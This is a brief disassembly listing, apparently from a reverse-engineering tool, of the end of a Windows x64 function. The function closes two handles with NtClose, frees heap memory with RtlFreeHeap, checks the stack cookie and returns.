call fcn.7ff7cc03080
mov rcx, qword [rsi + 0x10]
mov ebx, eax
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsi + 0x18]
call qword [sym.imp.ntdll.dll_NtClose]
mov r11, qword gs:[0x30]
mov r8, rsi
mov rcx, qword [r11 + 0x60]
xor edx, edx
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
cmp ebx, edi
jl 0x7ff7cc02bd0
mov edi, 1
jmp 0x7ff7cc02bd7
mov ecx, ebx
call fcn.7ff7cc02234
mov eax, edi
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.7ff7cc010f0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret